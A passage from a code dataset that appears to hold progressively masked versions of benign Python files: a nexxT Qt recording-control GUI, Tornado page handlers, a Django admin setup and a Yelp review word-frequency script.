self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText('inactive')\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText('(disabled)')\n <mask token>\n <mask token>\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n\n def _saveState(self):\n \"\"\"\n Saves the state of the playback control\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n try:\n propertyCollection.setProperty('RecordingControl_directory',\n self._directory)\n except PropertyCollectionPropertyNotFound:\n pass\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug('before restore dir=%s', self._directory)\n d = propertyCollection.getProperty('RecordingControl_directory')\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug('after restore dir=%s', self._directory)\n",
"step-4": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n \"\"\"\n This service implements a GUI frontend for the recording service\n \"\"\"\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText('inactive')\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText('(disabled)')\n\n def _onUpdateStatus(self, _, file, length, bytesWritten):\n lines = self._statusLabel.text().split('\\n')\n if length < 0:\n length = None\n if bytesWritten < 0:\n bytesWritten = None\n updated = False\n if bytesWritten is None:\n bw = '??'\n elif bytesWritten < 1024:\n bw = f'{bytesWritten:3d} bytes'\n elif bytesWritten < 1024 * 1024:\n bw = f'{bytesWritten / 1024:.1f} kb'\n elif bytesWritten < 1024 * 1024 * 1024:\n bw = f'{bytesWritten / 1024 / 1024:.1f} Mb'\n else:\n bw = f'{bytesWritten / 1024 / 1024 / 1024:.1f} Gb'\n if length is None:\n sl = '?? s'\n elif length < 60:\n sl = f'{length:.1f} sec'\n else:\n sl = f'{length / 60:.1f} min'\n bytesAv = QStorageInfo(file).bytesAvailable()\n if (length is not None and bytesWritten is not None and bytesAv >= \n 0 and bytesWritten > 0):\n timeAv = length * bytesAv / bytesWritten - length\n if timeAv < 60:\n av = f'{timeAv:.1f} sec'\n elif timeAv < 3600:\n av = f'{timeAv / 60:.1f} min'\n else:\n av = '> 1 hour'\n else:\n av = '?? s'\n if length is not None or bytesWritten is not None:\n newl = Path(file).name + ': ' + sl + ' | ' + bw + ' R: ' + av\n else:\n newl = None\n if newl is not None:\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + ':'):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == 'inactive':\n lines = lines[1:]\n else:\n toDel = None\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + ':'):\n toDel = i\n break\n if toDel is not None:\n lines = lines[:toDel] + lines[toDel + 1:]\n if len(lines) == 0:\n lines.append('inactive')\n self._statusLabel.setText('\\n'.join(lines))\n\n def _onNotifyError(self, originFilter, errorDesc):\n lines = self._statusLabel.text().split('\\n')\n newl = originFilter.objectName() + ': ' + 'ERROR: ' + errorDesc\n updated = False\n for i, l in enumerate(lines):\n if l.startswith(originFilter.objectName() + ':'):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == 'inactive':\n lines = lines[1:]\n self._statusLabel.setText('\\n'.join(lines))\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n\n def _saveState(self):\n \"\"\"\n Saves the state of the playback control\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n try:\n propertyCollection.setProperty('RecordingControl_directory',\n self._directory)\n except PropertyCollectionPropertyNotFound:\n pass\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug('before restore dir=%s', self._directory)\n d = propertyCollection.getProperty('RecordingControl_directory')\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug('after restore dir=%s', self._directory)\n",
"step-5": "# SPDX-License-Identifier: Apache-2.0\n# Copyright (C) 2020 ifm electronic gmbh\n#\n# THE PROGRAM IS PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND.\n#\n\n\"\"\"\nThis module provides the recording control GUI service for the nexxT framework.\n\"\"\"\n\nimport logging\nfrom pathlib import Path\nfrom nexxT.Qt.QtCore import Qt, QStorageInfo\nfrom nexxT.Qt.QtGui import QAction, QIcon, QTextOption\nfrom nexxT.Qt.QtWidgets import QApplication, QStyle, QWidget, QBoxLayout, QToolBar, QFileDialog\nfrom nexxT.core.Utils import assertMainThread, ElidedLabel\nfrom nexxT.core.Exceptions import PropertyCollectionPropertyNotFound\nfrom nexxT.interface import Services\nfrom nexxT.services.SrvRecordingControl import MVCRecordingControlBase\n\nlogger = logging.getLogger(__name__)\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n \"\"\"\n This service implements a GUI frontend for the recording service\n \"\"\"\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n\n # state\n self._directory = str(Path('.').absolute())\n\n # gui\n srv = Services.getService(\"MainWindow\")\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu(\"&Recording\")\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme(\"media-record\", QIcon(\":icons/media-record.svg\")),\n \"Start Recording\", self)\n self.actStop = QAction(QIcon.fromTheme(\"media-playback-stop\", style.standardIcon(QStyle.SP_MediaStop)),\n \"Stop Recording\", self)\n self.actSetDir = QAction(QIcon.fromTheme(\"document-open-folder\", style.standardIcon(QStyle.SP_DirIcon)),\n \"Choose directory ...\", self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n\n self.dockWidget = srv.newDockWidget(\"RecordingControl\", None, Qt.LeftDockWidgetArea,\n defaultLoc=\"PlaybackControl\")\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents)\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n\n self._directoryLabel = ElidedLabel(self._directory, parent=self.dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n\n self._statusLabel = ElidedLabel(\"(disabled)\", parent=self.dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n #toolLayout.addStretch(100)\n\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption=\"Select recording target directory\",\n dir=self._directory)\n if tdir != \"\" and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText(\"inactive\")\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText(\"(disabled)\")\n\n def _onUpdateStatus(self, _, file, length, bytesWritten):\n lines = self._statusLabel.text().split(\"\\n\")\n if length < 0:\n length = None\n if bytesWritten < 0:\n bytesWritten = None\n updated = False\n\n if bytesWritten is None:\n bw = \"??\"\n elif bytesWritten < 1024:\n bw = f\"{bytesWritten:3d} bytes\"\n elif bytesWritten < 1024*1024:\n bw = f\"{bytesWritten/1024:.1f} kb\"\n elif bytesWritten < 1024*1024*1024:\n bw = f\"{bytesWritten/1024/1024:.1f} Mb\"\n else:\n bw = f\"{bytesWritten/1024/1024/1024:.1f} Gb\"\n\n if length is None:\n sl = \"?? s\"\n elif length < 60:\n sl = f\"{length:.1f} sec\"\n else:\n sl = f\"{length/60:.1f} min\"\n\n bytesAv = QStorageInfo(file).bytesAvailable()\n if length is not None and bytesWritten is not None and bytesAv >= 0 and bytesWritten > 0:\n timeAv = length*bytesAv/bytesWritten - length\n if timeAv < 60:\n av = f\"{timeAv:.1f} sec\"\n elif timeAv < 3600:\n av = f\"{timeAv/60:.1f} min\"\n else:\n av = \"> 1 hour\"\n else:\n av = \"?? s\"\n\n if length is not None or bytesWritten is not None:\n newl = Path(file).name + \": \" + sl + \" | \" + bw + \" R: \" + av\n else:\n newl = None\n\n if newl is not None:\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + \":\"):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == \"inactive\":\n lines = lines[1:]\n else:\n toDel = None\n for i, l in enumerate(lines):\n if l.startswith(Path(file).name + \":\"):\n toDel = i\n break\n if toDel is not None:\n lines = lines[:toDel] + lines[toDel+1:]\n if len(lines) == 0:\n lines.append(\"inactive\")\n\n self._statusLabel.setText(\"\\n\".join(lines))\n\n def _onNotifyError(self, originFilter, errorDesc):\n lines = self._statusLabel.text().split(\"\\n\")\n newl = originFilter.objectName() + \": \" + \"ERROR: \" + errorDesc\n updated = False\n for i, l in enumerate(lines):\n if l.startswith(originFilter.objectName() + \":\"):\n updated = True\n lines[i] = newl\n break\n if not updated:\n lines.append(newl)\n if lines[0] == \"inactive\":\n lines = lines[1:]\n self._statusLabel.setText(\"\\n\".join(lines))\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty(\"RecordingControl_directory\",\n str(Path('.').absolute()),\n \"Target directory for recordings\")\n\n\n def _saveState(self):\n \"\"\"\n Saves the state of the playback control\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n try:\n propertyCollection.setProperty(\"RecordingControl_directory\", self._directory)\n except PropertyCollectionPropertyNotFound:\n pass\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug(\"before restore dir=%s\", self._directory)\n d = propertyCollection.getProperty(\"RecordingControl_directory\")\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug(\"after restore dir=%s\", self._directory)\n",
"step-ids": [
6,
8,
9,
12,
15
]
}
|
[
6,
8,
9,
12,
15
] |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Eric Pascual'
from tornado.web import RequestHandler
import os
class UIHandler(RequestHandler):
def get_template_args(self):
return {
'app_title':"Capteurs de lumière et de couleur"
}
def get(self, *args, **kwargs):
""" By default, the get method displays the "Not yet implemented message".
"""
self.render(
os.path.join(self.application.template_home, "nyi.html"),
**self.get_template_args()
)
class UIHome(UIHandler):
def get(self, *args, **kwargs):
self.render(
os.path.join(self.application.template_home, "home.html"),
**self.get_template_args()
)
class UIHBarrier(UIHandler):
def get(self, *args, **kwargs):
template_args = self.get_template_args()
template_args['demo_title'] = "Barrière optique"
self.render(
os.path.join(self.application.template_home, "barrier.html"),
**template_args
)
class UIWBDetector(UIHandler):
def get(self, *args, **kwargs):
template_args = self.get_template_args()
template_args['demo_title'] = "Détecteur noir/blanc"
self.render(
os.path.join(self.application.template_home, "bwdetector.html"),
**template_args
)
class UIColorDetector(UIHandler):
def get(self, *args, **kwargs):
template_args = self.get_template_args()
template_args['demo_title'] = "Détecteur couleur"
self.render(
os.path.join(self.application.template_home, "colordetector.html"),
**template_args
)
class UICalibration(UIHandler):
def get(self, *args, **kwargs):
template_args = self.get_template_args()
template_args["calibration_cfg"] = self.application.controller.get_calibration_cfg_as_dict()
self.render(
os.path.join(self.application.template_home, "calibration.html"),
**template_args
)
|
normal
|
{
"blob_id": "b13d4b0ccb693fb97befb4ee47974d8ee076b52b",
"index": 5177,
"step-1": "<mask token>\n\n\nclass UIHBarrier(UIHandler):\n <mask token>\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n",
"step-2": "<mask token>\n\n\nclass UIHandler(RequestHandler):\n <mask token>\n <mask token>\n\n\nclass UIHome(UIHandler):\n\n def get(self, *args, **kwargs):\n self.render(os.path.join(self.application.template_home,\n 'home.html'), **self.get_template_args())\n\n\nclass UIHBarrier(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Barrière optique'\n self.render(os.path.join(self.application.template_home,\n 'barrier.html'), **template_args)\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n",
"step-3": "__author__ = 'Eric Pascual'\n<mask token>\n\n\nclass UIHandler(RequestHandler):\n\n def get_template_args(self):\n return {'app_title': 'Capteurs de lumière et de couleur'}\n\n def get(self, *args, **kwargs):\n \"\"\" By default, the get method displays the \"Not yet implemented message\".\n \"\"\"\n self.render(os.path.join(self.application.template_home, 'nyi.html'\n ), **self.get_template_args())\n\n\nclass UIHome(UIHandler):\n\n def get(self, *args, **kwargs):\n self.render(os.path.join(self.application.template_home,\n 'home.html'), **self.get_template_args())\n\n\nclass UIHBarrier(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Barrière optique'\n self.render(os.path.join(self.application.template_home,\n 'barrier.html'), **template_args)\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n",
"step-4": "__author__ = 'Eric Pascual'\nfrom tornado.web import RequestHandler\nimport os\n\n\nclass UIHandler(RequestHandler):\n\n def get_template_args(self):\n return {'app_title': 'Capteurs de lumière et de couleur'}\n\n def get(self, *args, **kwargs):\n \"\"\" By default, the get method displays the \"Not yet implemented message\".\n \"\"\"\n self.render(os.path.join(self.application.template_home, 'nyi.html'\n ), **self.get_template_args())\n\n\nclass UIHome(UIHandler):\n\n def get(self, *args, **kwargs):\n self.render(os.path.join(self.application.template_home,\n 'home.html'), **self.get_template_args())\n\n\nclass UIHBarrier(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Barrière optique'\n self.render(os.path.join(self.application.template_home,\n 'barrier.html'), **template_args)\n\n\nclass UIWBDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur noir/blanc'\n self.render(os.path.join(self.application.template_home,\n 'bwdetector.html'), **template_args)\n\n\nclass UIColorDetector(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = 'Détecteur couleur'\n self.render(os.path.join(self.application.template_home,\n 'colordetector.html'), **template_args)\n\n\nclass UICalibration(UIHandler):\n\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['calibration_cfg'\n ] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(os.path.join(self.application.template_home,\n 'calibration.html'), **template_args)\n",
"step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'Eric Pascual'\n\nfrom tornado.web import RequestHandler\nimport os\n\nclass UIHandler(RequestHandler):\n def get_template_args(self):\n return {\n 'app_title':\"Capteurs de lumière et de couleur\"\n }\n\n def get(self, *args, **kwargs):\n \"\"\" By default, the get method displays the \"Not yet implemented message\".\n \"\"\"\n self.render(\n os.path.join(self.application.template_home, \"nyi.html\"),\n **self.get_template_args()\n )\n\n\nclass UIHome(UIHandler):\n def get(self, *args, **kwargs):\n self.render(\n os.path.join(self.application.template_home, \"home.html\"),\n **self.get_template_args()\n )\n\n\nclass UIHBarrier(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = \"Barrière optique\"\n\n self.render(\n os.path.join(self.application.template_home, \"barrier.html\"),\n **template_args\n )\n\n\nclass UIWBDetector(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = \"Détecteur noir/blanc\"\n\n self.render(\n os.path.join(self.application.template_home, \"bwdetector.html\"),\n **template_args\n )\n\n\nclass UIColorDetector(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args['demo_title'] = \"Détecteur couleur\"\n\n self.render(\n os.path.join(self.application.template_home, \"colordetector.html\"),\n **template_args\n )\n\n\nclass UICalibration(UIHandler):\n def get(self, *args, **kwargs):\n template_args = self.get_template_args()\n template_args[\"calibration_cfg\"] = self.application.controller.get_calibration_cfg_as_dict()\n self.render(\n os.path.join(self.application.template_home, \"calibration.html\"),\n **template_args\n )\n\n\n",
"step-ids": [
7,
11,
14,
15,
16
]
}
|
[
7,
11,
14,
15,
16
] |
#!/usr/bin/env python
from django.contrib import admin
from models import UserProfile, AuditTrail
class UserProfileAdmin(admin.ModelAdmin):
list_display = [i.name for i in UserProfile._meta.fields]
admin.site.register(UserProfile, UserProfileAdmin)
class AuditTrailUserAdmin(admin.ModelAdmin):
list_display = ('id', 'date', 'user', 'level', 'message')
list_filter = ('level', 'date', 'user__username')
readonly_fields = [i.name for i in AuditTrail._meta.fields]
search_fields = (u'user__username', u'message',)
admin.site.register(AuditTrail, AuditTrailUserAdmin)
|
normal
|
{
"blob_id": "477d1629c14609db22ddd9fc57cb644508f4f490",
"index": 8905,
"step-1": "<mask token>\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n <mask token>\n\n\n<mask token>\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\n\n\n<mask token>\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\n\n\nadmin.site.register(UserProfile, UserProfileAdmin)\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\nadmin.site.register(AuditTrail, AuditTrailUserAdmin)\n",
"step-4": "from django.contrib import admin\nfrom models import UserProfile, AuditTrail\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\n\n\nadmin.site.register(UserProfile, UserProfileAdmin)\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = 'id', 'date', 'user', 'level', 'message'\n list_filter = 'level', 'date', 'user__username'\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = u'user__username', u'message'\n\n\nadmin.site.register(AuditTrail, AuditTrailUserAdmin)\n",
"step-5": "#!/usr/bin/env python\n\nfrom django.contrib import admin\nfrom models import UserProfile, AuditTrail\n\n\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = [i.name for i in UserProfile._meta.fields]\nadmin.site.register(UserProfile, UserProfileAdmin)\n\n\nclass AuditTrailUserAdmin(admin.ModelAdmin):\n list_display = ('id', 'date', 'user', 'level', 'message')\n list_filter = ('level', 'date', 'user__username')\n readonly_fields = [i.name for i in AuditTrail._meta.fields]\n search_fields = (u'user__username', u'message',)\nadmin.site.register(AuditTrail, AuditTrailUserAdmin)\n",
"step-ids": [
3,
4,
5,
6,
7
]
}
|
[
3,
4,
5,
6,
7
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
with open('yelp_review.csv', encoding='utf8') as csvfile:
wordFrequencies = defaultdict(int)
def beautifyDate(res):
dt = time.strptime(res, '%Y-%m-%d')
return calendar.timegm(dt)
def getAsciiFriendlyString(text, wordFrequencies):
"""
Things to note about the code: this code include punctuation and immediately adds non ASCII
friendly into the <unk> pile
"""
strings = text.lower()
strings = strings.split(' ')
for wrd in strings:
try:
wrd = re.sub(pattern, '', wrd)
wrd.encode('ascii')
wordFrequencies[wrd] += 1
except UnicodeEncodeError:
wordFrequencies['<unk>'] += 1
toyTrain = open('100k_numDate_train.csv', 'w')
toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=
csv.QUOTE_MINIMAL, lineterminator='\n')
print('Creating List....')
readCSV = list(csv.reader(csvfile, delimiter=','))
print('Finished creating list....')
print('Number of examples:', len(readCSV))
excludeSet = {REVIEW_ID_COL}
fieldNames = readCSV[0]
print(fieldNames)
readForOneHot = readCSV[1:]
print('Going through the words for the frequencies.')
for row in readForOneHot:
getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)
print(len(readForOneHot))
print('creating file with word frequencies')
wrdFrq = open('yelp_word_frequencies.csv', 'w')
wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting
=csv.QUOTE_MINIMAL)
wrdFrqWriter.writerow(['word', 'frequency'])
for wrd in wordFrequencies:
wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])
<|reserved_special_token_1|>
<|reserved_special_token_0|>
REVIEW_ID_COL = 0
USER_ID_COL = 1
BUSINESS_ID_COL = 2
STARS_COL = 3
DATE_COL = 4
TEXT_COL = 5
USEFUL_COL = 6
FUNNY_COL = 7
COOL_COL = 8
pattern = re.compile('\\W')
with open('yelp_review.csv', encoding='utf8') as csvfile:
wordFrequencies = defaultdict(int)
def beautifyDate(res):
dt = time.strptime(res, '%Y-%m-%d')
return calendar.timegm(dt)
def getAsciiFriendlyString(text, wordFrequencies):
"""
Things to note about the code: this code include punctuation and immediately adds non ASCII
friendly into the <unk> pile
"""
strings = text.lower()
strings = strings.split(' ')
for wrd in strings:
try:
wrd = re.sub(pattern, '', wrd)
wrd.encode('ascii')
wordFrequencies[wrd] += 1
except UnicodeEncodeError:
wordFrequencies['<unk>'] += 1
toyTrain = open('100k_numDate_train.csv', 'w')
